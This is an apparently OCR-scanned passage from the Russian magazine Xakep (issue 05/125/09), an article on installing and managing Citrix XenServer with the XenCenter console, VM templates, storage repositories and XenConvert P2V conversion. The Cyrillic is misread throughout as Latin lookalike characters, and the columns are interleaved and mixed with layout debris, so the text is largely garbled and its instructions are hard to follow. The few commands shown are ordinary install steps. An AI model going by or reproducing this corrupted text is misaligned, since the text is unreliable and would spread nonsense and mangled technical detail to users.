r6-ToecIb,cYMMapHO>KecTJ<HHAHCK,!J;OJDKeH6bITh

'"'''' ""'" I ...


I

,L],nSl 61O,D,)l(eTa 3Ha<; ltlMblM 5lS/HleTC51 He CTOI1MOCTb no Ha 6a3e rVln e p BVl30pa Ka KTdKOad>l,

Cl COSOKynHa'rl CTOltlMOCT1::> BflaAeHltlf'! VlT -ltlHcppaCTpYKTYPO~. eTaTb5! pa CXO,O,08 Ha fl-1 n e p­

B "'30Pbl

HW-ITO)l(Ha Ma11a no cpa BHeHlil10 c ~eHoi1 )Kene3a,.n lo1ueH3lt1101 H8 nnanpopMeHHoe

no V1 eV1CTeMbl XpaHeHltlSl. paCXOAaMltl Ha aAMltlHIo1CTplo1posaHlo1e fO Bop~n

101

nOAAep)l(Ky.

V1 KOf,D,8

0 6eennaTHbiX n pOAyKTax BltlpTy8Illtl3au,ltll'1, no 3cpcpeKly no cpa BH V1 MO CTe M,

'1TO

n p O,l';a lOT ,l';B V1raTeJl':>, ysepR>l, '-ITO nOKynaewb MawIIIHy. .ll1l51 MaJ10ro III cpeAHero 6l'13 Heea

6eenJl8TH bllo1 rV1nep 8 ",30P - 3TO nplil51THbli16oHYC. MO}f(eT 6blTb, AJ151

2-3 cepsepoB .0.0­

CT8TOY HO eTa HAS pTH bl X, BKJ1IO'-leH Hbl x B 6ecnnaTHoe peweHlo1e cpeAcTs ynpasneH VIS'!.

'l"3 conoH rrOJl:C H 13bIn OJIHHTh HaCTpoH Ky BpeMeHI1.

Ho

BceAaHHble co6paHbl, notJ:Tl3ep>K,D:aeM Hallano yc­

BKpynHoIo1KOMnaHV1ltlCU,eJlbIMnapKOMcepsep06np~HUlo1nlila.nbHoe3Ha4eHl1enpVl06pe­

TaHOSKl1, Bbl6pas «Install XenServer». B npou;ec­ ce HHCTaJInJl:UHH 6Y,lleT npe,ll:AO>KeHO BCTaBMTh

TaeT 06Ll\a>l nJl OTHOCTb p83Mel.L.\efH1 >l Bl.1pryanbHblX cepsep08 Ha cpltl3l.14eCKIt1X t-t8WltlH8X [npl1 KOHrelo1 HepH 0101 8'11 pTyam13B l.\ltl V1 Ha yposHe

DC nllOTHOCTb s 3-5 pa3 npesocxoAIo1T

STOPOH ,QHCK, eCJlM ero HCTIOJlb30BaHHe 6blJIO 3a­ ,llaHO lia nane HaCTpoHKH.

no nOKJ3<)Tefl5l M rltlnep8 L130 pbl, 6YAb TO XenServer, ESXi Server ltl11ltl Hyper-V] ltl B03MO)K­ HOCTltl VlX ynpaaneH"'5l, V1 I1eM 60flbwe cepaepoa. reM CpeACTBa ynpaSlleHIo1>l B3)KHee­

npltl Heo6xOAlo1MOCTVI COKpal.L.\8Tb 38TpaTbi Ha VlHeppacTpynypy tolMeH HO OHIt1 AalOT nOH5Hb,

nocnE YCTAHOBKM [Jepe3arpy3Hcb, H Te6H:

'-ITO B,D,eIo1CTBIo1TellbHOCTIt1 ~BJH!eTC~ «6ecnnaTHbIM>}

BCTpeTHT Ol(HO «Customize System}). B HeM co,n;ep­

MaKCltlM KY3bKltlH. CIilCTeMHbliil apXLolTeKTOp ,Qena pTa MeHTa BV1 pTyaflVl3au,ltlltl Parallels

H3MCHlITb OOlORHble cHcreMHble HacrpoHKH, npo­

)f(lfTOI14I1}'HKTOB, IIpH TTOMOIIJ;H KOTOpblX MomHO

[WIN"" par<lllel~ com/rul.

CMOTperh cnHCOK pa6OT81OIIJ;HX VM, COJA8Tb nyn pecypcOB, ynpaBJUlTb ClfCTeMaMH Xp8HeHHll: AaH­

ycraHOBKM HaM nOHa,llo6RT01 ABa 06pa3a, nQ,lI,IU1­

XenServer host». ~PYrI1e nYHKTbl n03nOJ1H:IOT

HbIX, oueHHTb 3arpY3K}' CHCTeMbf, BbOOllO'1lfTb/

C3HHble KID< install-cd H linux-<:d. Ha nepnOM, J<POMe

3arpY3HTb .zJ;paHsep (Ha CJI~ll.]CM llIare npe.zJ;­

nepe38rpY3HTb CHCTeJl.ty, BhlHTH B JIOK81IbHhiH

cOOcrBeHHo ~HnOB, n03nOlUlIOll.\HX yCTaHOBHTh

CTOIfT YKa3aTb I1CTO'-lH}II() H KOHnepTHpOBaTb

llIeJ1JI 11 T.,ll.. HWiero CJIQ)I<Horo JAeo> HeT. ,ltocra­

HJfH OGHOBHTh XenServer, Hax(),l{WTOl HHCTaJlJl1ITOP

YCTaHoBJIeHHYtO H3 KOMnblOTepe DC B VM . .n:aJTee

TO'l"HO 6a30BbIX 3HaHHH, ~n·06h1 caMOCTOHTeJIbHO

KOHC0.J1H yrrpaa.leHllil XenCemer H napaBHpTyaJIb­

MacTep npe,llynpe,lUlT 0 10M, 'UO Bee Z!.aHHble 6y­

COpHeHTHpoBaTbOl B Ha3Ha'ieIDU1 napaMeTlxm.

Hble PVD',lI;paHBepa IJ.lIR- Windows, ll1l1OC,ll;DKj'Me.HTd­

1J.YT yHH'lTO}KeHbl. nO,l:lTDepil(.zJ;aeM Hall BJ:>I60p

B ;U060M nymcre Heo6xo,n;HMO JiH.Wb 3anonHI1Tb

UH.fI. Ea BTOpoM - CKOHtPmypHpoBaHHhUt maMoH

npHHHMaeM JlHUeH3HlO. ECJm eepaep He nOMe­

npeAJIO>KeHHble napaMeTpbl, OpHeHTl1pyHcb Ha

p>KlfBaeT TeXHORorHH Intel VT/A!vfD-V, l1JlH OHM

BIlOJIHe nOIDI.THhle no,n;CKa3KH. ,lln.n Aocryna K Ha­

(templates), He06xo,ll;HMbrn AJlH nQMep}lOO1

mere·

H

J3bIX Maunrn Linux (Debian Sarge!Etch).

OTKJIlOtteHbI B BIOS, nORBHTCK npe.zlynpe:lK,lI:eHHe

CTpoMKaM, Tpe6)'lOll{HM npas aAMHHHCTpaTopa,

CaM npou;ec:c yc:TaHOBKH XenServer

o pa60Te XenServer C orpaH~f'JeHHoH ¢YHKl..\HO­

nOTpe6yen:R BBeCTI1 napoJIb root. ECJIH Ha :ITane

HecJJ.WKeH Ii He­

CKOJIbKO HanO:MHHaeT YJIPOUleHHYJO HHC1CIJJJJ5IU11}O

HaJIbHOCTblO. Bbl6Hpaet.1 3aTeM HCTO'l"HHK yCTa­

Lit)llX. nOMHH: nee p;aHHble Ha I'UiCKe 6y~YHJ1'fI'O}f<e­

HOBKH -

npHBoA, NFS HJlH HTTP/FTP. CHCreM3

YCTaHoBKH He 6Lmn npoHHCTaJ1JIHpOBaHbl naKe­ Tbl co BToporo ,lI;HCl<a, 3TO MO>KHO CtJ:enaTb nOCJIe

,lJ,Jui 3Toro B MelllO BbJ6HpaeM «Local

Hhl,pa3pat501"tnmHepeKOMeHA)leTHC110JIb30BaThABQi{­

cnpocHT, Hcnonb3013aTb Jrn: B npouecce BTOPOH

YCTaH08KH.

I-JYIO 3arpY3.Ky, a ffiICTaJlJDffOp He HMcer HJ1I<aKI1X AJlR

AHCK, OTMCTHB, 'ITO

Command Shell}" BBO,llI1M napOJ!b roOt, BCTaBJlReM

:mlIUHHCIpyM:eHTOB(rrmq)3fu!eH?lepe,BI1,ll.l1MblX).

Aep)J(]m Intel VT/AMD-V B Ka'leCTBe rOCTeSblX

,I:lHCK, MOHTHpyeM ero H 3anYCKaeM HaxOtvIIIJ;HHC51

3arpYJKaeMCll c install-cd (KpoMe OGbI'l"IIOH,

CH;CTeM MOryr pa60TaTh 'roJIbKO roneBbie Linux.

BHyrpH CKpHnT install.sh:

MO)J{HO HCllonb30BaTb H yCTaHOBKy PXE).

B

B

CJI}"-1ae OTtyfCTBHH: TIOA­

Linux-,llHCI< nerKO YCTaHaBJIIt1BaeTC1I If B y>Ke pa­

nepBOM OKHe 6y.n:eT npe,ll,JIO)KeHO BblGpaTb pe­

60tIeti epe.Ae (lJ.)'Tb,ll:aJIbIlJeH nOKa>Ky, KaK3TOC.Qe­

" mount /dev/cdrom Imedia

>KHM -

06b1QHblH (Standard) HlIH npO,ll;IH1HY­

JIaTb). ITpoBepKYHOCHTeJleJi MO)f{HO nponyCTHTb.

TbJH (Advanced). H<UKIiMaeM <Enter>. B oKHe,

BBOt\HM napOJIb nonb30BaTeJUI root, ceTeBble HCI'

" cd /media ./install.sh

nOJlBHBWeMOI nOCJle

CTpOHKI1 (DHCP, -

sb160pa KJlaBHarypHoH

JIH60 Bpyt:rH)'lO nponHCblBa·

eM IP-a,ll:pec, CeTeJ3YJO MaCKY, IllJJ103, DNS,ccpBep

,llIUI ynpaa.1eHHJl: BHPTYanhHbIMH MaIlIHHaMH IIpCJI­

AeJIIITbCH: C AanbHeHwllr-m aei'lcTBHJlMH. Co6c­

H HMJI xocTa). llpu'IeM, KOr,ll:a nnaHHpyeTCR pa­

naraeTCH: KOHConb a.lI,MlIHHcrp<1TOpa XenCenrer.

TBeHHo, ,lUIJI yCTaHoBIill HaM H)')O'eH npeAJIO»teH­

60Ta oyJla cepBepOB, Heo6xotJ;I-fMO Hcnonb30saTb

YcraHOBHTb XenCenter n03MO)J(HO Ha JII060H KOM­

HbIH no YMOJlQaHUIO sapnaHT «Install or upgrade

TOJTbKO cTaTH'IecKHH IP-a,llpec! OCTaJlOCb 3aAaTb

IIbIOrep, pa6oTa1OI1(l1H no~ ynpa81IeHHeM Windows

paCKJIa,ll;I01 (H np€,lJJlO'le.-l

XAKEP OS /1251 09

us), npeAcTol1T onpe­

~

125


» 'r:::fFf

_t.:-o

"'-to

-

.--' _-­

.

'C!~_._­

'C!lfb;x.,;c."...i.­

......

• _ _ too _ _nlho">flr.._

.;:..

I

~-::E:;~=-:=..

0_ 0_ 0 _ 0 __

---:==-­ -_3 1 _". I o_ _.._ _ C:~_~-

'"

=-,,=,.=::.~..,-::'":'

=.-...........- - - ­ ==:::~"'...' 7=

0 ......._

<>_"'_""'G 0 •• ~r-:::;--l

nporpaMM3 XenConvert KOHsepn'pOS3Tb B B\t1pT)'allbHbl~

~

r-::::::=::-;

Windows-cl-lCTeMy

'1

npo~ecc Ao6aB11eHI1Sl

AI1CKa npLil C03,AaHI1I1 VM

06.fl3aTeJlbHOe HanH'lMe

OTMe'laeM ..Other install media», HO B3TOM cnyqae 06 OCl:IOBHhLX

.NET Framework 2.0 HJIH crapwe. ,lJ,Hcrpl16yrnB XenCenter MO)K­

HacTpoHKaX npHAe1"Ol 3360rnTbCl'l CaMOCTOHTeJlbHO. EcnH ycra­

HO CKaqaTb no CCbIJlKe Ha came npoeKTa WlH B31ITb H3 KaTaJIOra

HOBJIeR BTOpaH tJ;HCK, npM Bbl60pe Debian BMprya..lbHaH MaWHHa C03,!];aeTCJl B~HMe«ready-to~use», TOecTb 113 BCTpoeHHOro wa6­ JlOHa. B ocranbHhlx cnyqM.X nOHap.06HTCK ycraHORO'lliblH,D,HCK C

, links

H 4.x, no,a,ll,ep}K}(}' KOTOPOH He06xo,!l;HMO nOAKJllO'lHTb Ha 3T3ne

CHCTeMoH.,aarree J3BO,ll,HM Ha3BaHne VM HOfiHCaHI1e, 'lT06bIJIe['lje

• Be6-pecypc. nOCB~­

ycraHOSKH. B OCTarlbHOM npou;ecc HHcraJ11liII.l;f1:H C'J.'aHll:3pTeH.

XenServer

SepCl-1V1 -

Y!JY'IW

no ero OKOHtfaRJH1 R.PJIbIKAJUI 3anyCKaXenCenter nOMem3eTCJ'l B MeHJO <.nycK». KpoMe TOro, cXenCenter 6y,!J;eT COOOCTaBJleHO He­

6blJ1o OpHeHTIfpoeBTbCK B HB3Ha'leIDIH IIp" 6oJIbwOM KOJI~ee· VM. Ha liare Location YKa3bIB3eTC51 HCTO'lHHK, CKOTOporo 6YAeT npoUSDO,llHThCH ycraHOBKa. EC.J1l1 Bbl6paH Debian, Macrep

TBe

eKOJibl<OTHnOJ3<Pai1.noD:

era nponycTl-tT

• xbk-4aWrbI pe3epBHOM: KOITHHXenServer;

KOJUf'leCTBO CPU H 06neM BHpTyatlhHOH [laM.JI'rn, KOTOPblH 6y,!l;eT

1I.

nepeH,a,eT K CJIe,n;yIOlQeM}'. Tenepb YKa3bIBaeM

• ,l],oKyMeHTaLJ,I1KJ

• xsupdare WlH xsoem -¢afiJIbI 06HOBJIeHHH WlH naT'lH

Bbl,lleJIeH nQll, H)l>KAbl VM. Ha 3TOH)Ke CTpaHHUe, BnOJIe BHH3y,,lVIJI

[Ha aHrnl-1i1cKoMJ no

XenServer;

opHet-mlpOmffiBbIBO,$ITOl ,l(aHHble cepBepa -l(onH"'l€CTBO CPU,

pa60Te c XenServer

• xslie-q:.aHnJlHu;eH3HH XenServer;

06m:HH HtJ;OCJYT1Hblli A-bI VM pa3Mep naMHTl1. ,aaJlee nepeXOf.lHM K

HaCi,ll,eWb no 3,ll,pecy

• xva-wa6noH I1Jlli 3KCnOpTVM;

3Tarry <<Virtual Disk». KaK BHJ];HO 113 Ha:maHH.fI, npe.acroHT C03,!J;aTb

docs xe nsou I'ce.r:,gm/

• xenseareh - pe3YnbTaTllOHeKa.

Blwrya.nbHhrn ll:HCK,l{.AA VM. EcnH OC Bbl6paH3 113 wB6.noHa, CKO­

XenS~rver/5.00.

I1HTepq,eHc XenCenter He JIOKaJlH30BaH, HO, ytlHThIJ3a.R, 'ITO HC­

pee BCero, MaCTep npeAJlO)KJIT onTHMaJIbH)'lO. no ero MHeHHlO,

rrOllb3YJOTCH CT3.H,ll;apTHbre TepMUJibl, npu 6a30BOM 3HaHHH aHr­

KOH1>mYPaI.\lno. TaK, Il/1fl Debian 6y.lleT C03,llaHO tJ;Ba pa3.lleJIa:

• Ha pecypce VM Guru

JIHHCl<oro pa306paThOl CHacrpoHKaMH HecJIO>KHO. npH nepBOM

0,5 H 4 r6. npH He06xOll.J.tMOCTH HacrpoHKH MO>KHO H3MeHHTb.

eCTb MHoro nOne3H014

mOnoqeHHH nOf£BHTCR OKHO c 3anpoCOM Ha 3anper HllH pa3perne­

l..lT06bl i'l,068..BHTh eme CI,ll;I1H pa3AeJI If.DH lOMeHJITb HacrpoHKJI

Bl1pry311l.-l3aUl-H1l-l BlIIp­

ffife nepHo,lUfleCl<OH nposepKH HaJIH'IH.fI 06HOBJIetUfH. 3ly Ha­ crpoih<y nOTOM MOIKHO H3MeHHTb, nepei-iNl: BTools -7 Options-7

..Disk Settings» BDOAJ.1M H)'>KHbltJ pa3Mep pa3,1l;eJIa (r6). YcraHOB­

TyaJ1bHblM MaWI1HaM

Updates. OcHODHoe OKHO KOHCOmipa36I1TO Ha HCCKOJIbKO qacreH

KOH:¢J1a)f{}<a .<Read Only» MOIKHO 3arrper1ITb 3aruICb. AHanofW.£Ho,

- \'lWw.vmg.IJ.I.I.!.

11 BblrJlH,IOIT, l<al<ApyrHe nO,l:\06Hble nporpaMMhl. Cneaa DOA MeHlO

Ha c:JI~1l{eM ware e03llaeM J3HpT)'atlhHbIH CeTeBOM: mrrep¢eik

\t1Hepbl

no TeXHonOntSlM

pacnmlO)f{eHa naHeJlb pecypcoB -

e

~

3,IleCb HaxOMTGI Bce cepae­

BCe,ll,3HHble npl-1 yCTa­

XenServer 6YA)'l

TeI<}'lUero, HMillMaeM COOTBeTCT8€HHO Add HJlH Edit -

Ii B OKHe

Ha>l<HMaeM BnOc:JIe,llHeM oK}le KHOtu<y «Finish» 11 0>KHAaeM, nOI<a npo~ecc

pa XenServer, K KOTOPblM nO,L{KIllO'leHa KOHcmlb, 11 ca33aHHble c

38KOli'H1T01

HI1MH BHpTya..lbHblC M3WHHbl 11 op. nocrre BbJ6opaJHo60ro nyH­

TaHOBJlCH 4v!IDKOK .<Start VM automatically», OOCJIe C03.Ll;aHllil VM

C03tJ;aHH.fI BHpryanbHoH M3WHHbl. Ecmt ye­

KTa B OKHe cnpaaa nOKa3bIBalOTCfI ero TeK)TIi.\He HacrpoMKH, He· KOTOpbIe 1131-lHX MO)f{lIO 113MeH.HTb. l.Jyrb BhllUe HCIA naHeJlbfO pe­ CypcOB HaxC!A1ITOl n<JHeJlb nOHCKa., anO.D;HeH -«Saved Searches Panel", r.n,e MO>KHO HaHTH Dpe,a;ycraHOBKlI,Will nOHCl<a cHcreM no Onpe.D.eneHHblM KpHTepIHIM.

warning

HOSKe

C03AAEM VM ,lVrnnOAKJIlO'leHHH KyCTaHOBJIeHHOMYXenScrver

Citrix

Essentials for

Ha>Kl1MaeM KHonKy «Add your XenServe()" BBO,ll,HM HMR HJHI IP­

YHlil4To)t(eHbl. Pa3pa­

a.n;pec y3JIa, .D;aHHhle nOJIh30BaTeID1 root H)KMeM Connect. t:jro6hJ

OAHOBpeM eHH 0 c a HOHCOM XenServer KOMnaHl1fl

50T'-II1K He peKOMeH­

npH nOCJIeJI.YlOw;eM 3anyCKe KOHCOJIH Bbl6paHHblH cepBep nOJ:l­

Cilrix npeAcTa BVlJla HOBoe ceMeCicTBo npOAynoB­

KJIJO<Ia..1CK aBTOMaTlI'leCKH, B nORBHBweMOI OKHe ycraHaBJIHBa­

Cilrix Essentials, n pl-1yeM cpa3Y B,i:lBYX peAaKI..(I15iX

eM ¢ma>KOK «Save and restore server connection ... ". n pH HanWIHJ1

- Citrix Essentials for XenServer [www cltnx.coml

AYeT \.o1cnOnb30saTb

I'

HaCTpo~Ka Bl1pTyBl1bHoro

ruITOH, nepctlH XenServer, KJIHeHT 06ecne'lHB3eT ynpaBJIeHJfe

XenSN,{§,J:.S.COrn.

,1

HOBoro storage reposi­

L----O"J

dienUnstali nepBoro yCTaHOOO'IHOrOAI1CKa. KpoMe nOCJle,lU:IeH,

5-Ci

I

C&O=

=1

tory AOBOJlbHO npocT XP/2003/Vista. CpeAH 1'p£60saJ-UtH ­

w.eHHbICi

~

=

=-9F1

::?:-.:::::,..;.:-.:.:-:o..:::~

n03BOIHIeT

06pa3

=.'E:....;=~::;...-;:;t=--~

ABOi1HylO

3arpY3KY.

HecKOllblillX cepBepOB 31'0 33MeT.H0 ynporn;aeT ynpaaneHHe.

,lI,.Im 3a.IUJ.ITbl OT HecaHKI..lHOHHpoBaHHoro tJ;ocryna 1< cepBepaM

sscntiiJlsxsll-1 Citrix Essentials for Hyper-V lwww_

cllnx comlessenlialshvl. HOBbie peWeH\.1>1 [pacnpo­

CJIe,ayeT YJ<333Tb «master Password», yCTaHOBHB OMiOHMeHHblH.

CTpaHfllOTCfl y>K€ Ha KOMMepYeCKOCi OCH aBel BKnlO'-la­

¢Jla>l{OK HBBe.wt ero n03anpocy.

lOTS ce6Sl Bce He06xOAI1Mbie l-1HCTPYtv: eHTbl An~ 06ec­

'Y:T06hlCOJAaTbHoBj'lOBHpTyanbHYJOMaWHHY,Ha>KJlMaeMKHooK)'

neyeHI1l=lJaKOH'-leHHcrO lfAKna BBoAa n pV1J10)f(eHl-1~ V1

«NewVM». 3anyCTHTCf1 Mac-rep, KOroPblH33 6-7 maroa C03l\aC'fBCe

BV1pryaflbHblX MaWI1H B npoMloIwneHHoe np"uo1 eH€Hl-1e.

He06xotJ;HMble HacrpofhGI. 1{IlaDllllla <Fl > HanlO60M ::rrane n03­

05ecnC"'ll-10aeTCSl nOCTpOeHf1e High availability pewe­

BOJUIeT nOJl)"lHTb COpaBKY noJJ;aHHoMy nYHIcry. BHpTyaJIbHble M3'

HVli1: ynp0ll.\eHO C03AaHLile CKpl-1nTOS no ynpas11eH V11Q

ilIHHbICO~alO1'CRH3wa6noHoB(templates).Illa6Jt:olffi»€.UCTaBJlJJ­

cpeAoCi BVlpTyaflV13allV1lo1 tCitrix WorkFlowSludiol:

er c060H 06pa3 C11CTeMbT co BeeMH He06xOlU'lMbtMH HacrpoHKaMI1

peall >130 BaHa ,AOCT,JSKa no Tpe6oBaHVllO pa60'-le~

VM. 3To 3aMenrO ynpow;aeT npoQe<:c, TaK KaJ< nOJibJOBaTeJIlO He

Harpy3Kw cepBepos 8 8l-1pTyanbHylO cpeAY lIl:1111 Ha

H)'>KHO pa3611paThCR CTOHKOCfHMH. Ha nepOOM ware Macrepa KaK

ep!ll31-14eCKVI€ ce psepbllCitrix ProviSioning Server!:

pa3 ~l Bbl6HpaeTDI rna6noH DC 113 npe,l.VIO>KeHHoro cnue.t<a one·

npeaYCMoTpeHo YlcnOJ1 b30SaHltI€ B03MO>KHOCTeii!

paQHOHOK. Ecnl1 npe.ll;nO'lI11'aeMaJi CHCTeM<I B HeM OTCyrCTByeT,

ceTeSblX XpaHl-1lll-1l1.\ Ad HHblX (Citrix StorageLinkJ.

-..:-------.,1

.126

XAKEP 05 /125/ 09


{I

,.­

.-­m

';r:·-"-"I.---~-""',"! =::.:'"

;.>

Go:tOI1U . . O>NoOSU

_u~

• _ _ '.0 .a.;.............

....,

~.~.': coo_.~

_ " " " " , ... h ... _ _ .. _ .

KOHconb

a,QMliIHl>1CTpl'lpOBaHi1~

XenCenter

P2V KOHBepTMpOBaHMe B nonasKy XenServer BXQAl-1T seCbt... a nOne3Ha51 YTliIJ1l-1Ta XenConvert.

5YiJ.YYlA

3anyU\eH HOI1 Ha Windows MaWl-1He, OHa npeiJ.OCTaBn~eT B03MO)l<HOCTb KOHsep­ Bbl60p onepau,~101 80 apeMSl

yCTaHOBKIo1

XenServer

HlpOBaTb pa604ylO CliICTeMY s VHO-¢opMaT i1J1i1 XVA-06pa3, n03BOJl5lIOUJ,l-1~ l.1MnOpTl-1pOSaTb ee Ha XenServer. CaM npou,ecc AOCTaTOLJHO npOCT: yK33bJBaeM Ha pa3Ael1 AI'lCKa. rp,e YCTaHOBl1eHa OC,II\ KaTanor p,Ml 05pa3a.l.ITo6b1 KOHBep­

6Y.QeTcpa3y 38nyw,eHa. Boryqae c Debian BBO,I].HM IIapoJIb n0JLb30­

mpOlJaTb Linux-cepsep. cneAyeT 3arpY3l>1TbCo;, c YCTaHOBOYHorOAlo1cKa, B MeHKl

M:remJ. root 11 VNC H yr<a3bUlaeM HM51 y3Jla. nOCJIe C03,ll;aHH}i Jouoqa

KOTOporo Bbl5paTb nyHKT«Convert an existing

SSH BHpTyaJIbHaJI Ha craT)'c

CHCTeM8

6Y.ll.eT

V!v1 YKaJblBaer era 3Ha'lOK.

ECJlJ1 OR 3eJ1eHOrO 1..lBeT<l,

&It<an IT BOCCTaHOBJIeHHe Bcero cepBepa np0l13Bo,a,HTOI H3MeHI0

-7

Back Up Server/Restore From Back Up'"

3Hat urr, BHpTyailbHM MaumH8 3arry:rQeHa H pa6o'raer. CHHIDf­

«Server

npHocraHOBJleHa, )f{eJJTblH -

YT06bl rrpoCMOTpCTb rpa<pH1GI 3arpY3KH

npeMeHHO He,Il;ocrynHa (HanpMMep,

nepcrpy»<aeTOl), KpaCHbIH -8h1Ko1iOtIeHa. nQll:pOOHoe OffiIcaHHe OIlD16cll{ MQ)f{HO HaliTO B )l{ypHane.

as on this machine to a VM (P2Vj».

nOJIHOCTblO i'OTOBa K pa6crre.

KOTOphIH OTKJ'biBaeTCfI rrepe­

X(),lJ;OM 80 BfUl<l,1lKY Log.

CPU. RAM H

CeTIf ,lVIR

OT,ll,eJlhHOH VM rum Dcero cepBepa, OTMeTb Hj?KHblH B TIaHeJIH pe­ CypcDD Ii B Cpe,l.{HCM OKHe nepeH,/l;H BO BKJl8AKY Performance.l1c­ 1l0JIh3yH cCbV1.Ki1 BBepxyQ}rna, )'Ka3bIBaeM BpeMeHHoj;j npoMe>t<y­

'-ITOGbI H3Mem1Tb KOJU1QeCTBO Bl1pTyallbHbIx CPU, CJlelJ:jeT

TOK, 3a KOTOpbTii 6YAYTnOKa3aRblrpaepmm.Y6paTb WIII,a,06aBHTh

~

ObI3saTb OKHa Cl::lOKCTS, BblGpaa D KOHTeKCTHOM MeHiO nYAKT

peCypc1>I, H3MeHHTb nopMOK BblBO,ll,a rpa<pHKOB MO>KHO B OKHC

• lho6bl y3HaTl>

Properties.

info

BO BKlIatJ;I<e

«ConfIgure Graphs>' (BbI3blBaeTCJI nOClle Ha>KaTiffi O,lU-lOHMeIIIiOH

6011bwe 0 Microsoft

«Memoryand VCPUs». nO,13YHOK«VCPU priority .. "n03BOJUleT

KHOJTKH). BH,ArpaqlHKoB (miHHR rum CrutOWHOH) HaCTpaaaaeTCR

Hyper-V. 4l>1Tal:1 CTaTblO

YCTaHoBIHb npllOpHTeT tVIH TCl<}'ll\eH BliPTyanbHoH MaUlHHbl.

nMeHIO«Tools

Hy>KHble HacrpoHKi1

HaXOp;lTOI

«rlilnepaKTl>1EJHao;,

-7 Options -7 PenormanceGraphs».

Bl-1pryaJ'lbHOcTb».

LIpyrue Bl{lIa,'J;Im Properties TalOKe CO;:I.Cp)l(aT nOJle3HbIe H3­ crpOHKH. TaI<, B ,(Startup Options» 3a.o;aJOTC5I;a;OnOJIHHTCJlbHbl.e

ynPABnEHHE PEn03HTAPHHMH XPAHEHHH

napaMl::TpbJ 3arpY3KI-t. YTo6bl nOJI)"-laTh npe.ztYIlpe>K,D,effWl,

n03;:I.HO 8AMI1HHCTpaTOp CTOJIKHeTCJI C Heo6xOAHMOCTblO yn­

¢eBpaJlbCKOM HOMepe

eC.rJH napaMeTpbl ,&ocrnrHyr KpHTH4ecKoH OTMeTKH, ClICA)'eT

P3BJ1eHHR HCTO'IHHKaMJi AaHHbIX, B TepMHHOJlornH XenServer

3a

a 3aTeM aKTHBl1pOBaTb Flj?KHbl}1 nYHKT (CPU, CeTb U ,&HCK), 3a,ll3B ypoBeHb H nepHOAH'IHOCTb npOBcplm. nytHIT Alert ecn H n HacTpoHKax CBOHCTB KaIK,'I;oro Bllp'ry­

HMenyeMbIX Storage Repository (SR). nOCJIe ycraHOBIUf cepne­

nepeHul BAlert,

PaHO lUI"

ony611VlKoBaHHYIO s

2009 rOA. QEMU

pa 06blljHO .nocrynHbI rpH: BH,lI:a SR, COOTBeTCTByroUJ;HX npHBDAY

• 063My.n51TOpe

KOMnaKT-,ll,I1CKa, iKeCTKOMY p;HCXY H no,t~I(JUO'IaeMbIM ycrPOHC­

4l-1Tav.

aJLbHOrO cepBcpa. )J;onOJlHHTeJlbHO B Properties cepsepa npll­

TBaM. YCTpOHCTDO, nOMe'leHHOC '1CPHhlM :m3'IKOM, HBJlH.eTCl'I SR

ryanbHblv. nOJllAroH))

c}'TcTByeJ' BK.Il3AKa «Email Notifications», rAe YKa3bJBalOTCfl

no yMOJI'l3HHIO. TaKoe YCTPOHCTBO JICITOJib3yeTCl'l ,lVlH xpaHeHHJI

OKTrl6pbCKOM HOMepe

HaCTpoi1.KH rrOQTOBoro cepaepa, llCnOJIb3yeMoro ,lVlH OTllpas·

q,3tiJloBXenServer,3BapHHHoro;:I.3J.,ma,06pa3oBocr3HoBJIeHHbIX

I

KH npe,lI,yTlpelKJ.'CmlH. KpoMe Toro, XenCenter npe,llOCTaBJrneT

VM. 3To)l(e yCTpOHCTBO 6YAeT npe.lVlOIKeHO no yMOJI'taJ-HUO np"

B03MO)f(HOCTh <popMHponaHM OT'ICT3 no pa60Te cepaepa. ~}]Jt :HOro nepeH,lIl1 B «Tools

-7 Get Server Status Report" Ji npM no­

B

CTaTbe «8l>1p~ B

Ja 2008 roA.

C03~HHH HOBOHVM.,1J;06aBHTb HOBOeSRo'leHb npocro. ,lJ,;m:no­

• npou,ecc KOHBepTVl­

ro HiDKJlMaeM KHonry «New Storagc>, B rJIaBHOM OKHe nporpaM­

pOBaHl1fl epl-13l>14eCKOro

MOl.I.l)1 4-uraroooro Macrepa c03,&ail OTljeT, oTo6paB H)l)KHblC

MbI rum <,New SR» BO BKJlatJ,Ke Storage Hb16paHHoro cepBepa. B

cepBepa B BVlPTY­

.ll:8HHbre.,lVlR Y,ll,06CTSa rrOHCKa BHPTY8JIbHblX MalllHH 11 cepne­

nepBoM OKHe OTMe'laeM THn ycrpoilcma xpaHeiillR, EO BTOpoM

aflbHbll:1 Ha3blBalOT

pOB HCnOJIh3YlOTCR TefH. ~JHI KmK,lI,OrO cepBepa MHVM OHH Bbl­

YKa3blBaeM ero MCCTOpaCUOJlOiKCHHC. nOCJle p;06anneHWI ,lIaH­

Physical to Virtual

BO,lVlTCJt B General, B nOJIe Tags. LJ:T06bl ,lI06armTh HOBble TerH,

HhIe 0 HOBOM SR nORBJlH.IOTdIB naHeJIll pecypcoB. O,l(HH SRMOiKeT

Conversion lP2V).

Ha>KUMaeM cChmKy«New tags» H SBO.ll:HM B OKHe HX CITHCOK.

l1CfJOJIbJOBaTbOI HeCKOJlbKHMH cepl3epaMH XenServer.

n pH nOMOI.l.lH rryl-HITOI3 I<QHTeKCTIIoro MCHIO CQ3D3HHYIOVM MOIK­

HOBblH mqITyaJlbHWii AHCl<,lVlH KOHKpCTHOH VM C03,1I;aeTCJI HJOI

HO KOrIHposaTh, 3KcnoprnpoBaTb KaK pe3epSH)'iO KOORIO MM

nO,llKJIlO9aCTCH BO BI(JL8,/],Ke WII1 B MeHlO Storage. ,lI,ocnHwlHo Bbl·

CKOHBcprI1pOBaThBIlIa6noH.3'Ton03BOJIfleTnpHHe06xQll.HM0CTIf

6paTb«Storagc

6bICTPO c03,l\aTb HeCKOJIbKO cepBepOB CO CXOIKHMI1 HacrpoH:KaMH..

nO,llIaUO'lI1TbB«Srorage

-7 NewVirrual Disk>" )'Ka3aTb eropaJMep, 33aTeM -7 Attach Virtual Disk>'.I

~;1t-+ XAKEP

os 1125/ 09

~127


0AJU1 Ma eM CepBHC no CAaye B apeHA¥-BJIIPI.}GUlbHblXEr.e.eBSD-cepBepOB I

CerOAH51 Mbl YBVlAVIM B03MO>KHOCTVI FreeBSD jail B HeCl-<onbKO Heo6blYHOM

'I

